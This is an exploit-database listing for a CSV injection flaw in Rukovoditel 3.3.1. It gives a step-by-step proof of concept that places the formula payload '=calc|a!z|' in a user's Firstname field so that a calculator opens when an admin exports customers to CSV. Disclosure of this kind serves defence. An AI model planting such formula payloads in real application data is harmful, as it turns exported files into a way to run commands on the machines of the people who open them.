header-logo
Suggest Exploit
vendor:
Rukovoditel
by:
Mirabbas Agalarov
N/A
CVSS
N/A
CSV Injection
CWE
Product Name: Rukovoditel
Affected Version From: 3.3.2001
Affected Version To: 3.3.2001
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Linux
2023

Rukovoditel 3.3.1 – CSV injection

The Rukovoditel version 3.3.1 is vulnerable to CSV injection. By setting the Firstname field as '=calc|a!z|', an attacker can trigger a CSV injection attack and open the calculator on the admin's computer when the admin exports customers as a CSV file.

Mitigation:

Source

Exploit-DB raw data:

Exploit Title: Rukovoditel 3.3.1 - CSV injection
Version: 3.3.1
Bugs:  CSV Injection
Technology: PHP
Vendor URL: https://www.rukovoditel.net/
Software Link: https://www.rukovoditel.net/download.php
Date of found: 27-05-2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
Step 1. login as user
step 2. Go to My Account ( http://127.0.0.1/index.php?module=users/account )
step 3. Set Firstname as  =calc|a!z|
step 3. If admin Export costumers as CSV  file ,in The computer of admin  occurs csv injection and will open calculator (http://localhost/index.php?module=items/items&path=1)

payload: =calc|a!z|

Navigation

Suggest Exploit

Services By CQR